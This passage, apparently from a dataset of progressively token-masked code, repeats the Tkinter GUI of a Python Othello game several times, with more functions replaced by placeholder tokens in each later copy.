== 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def 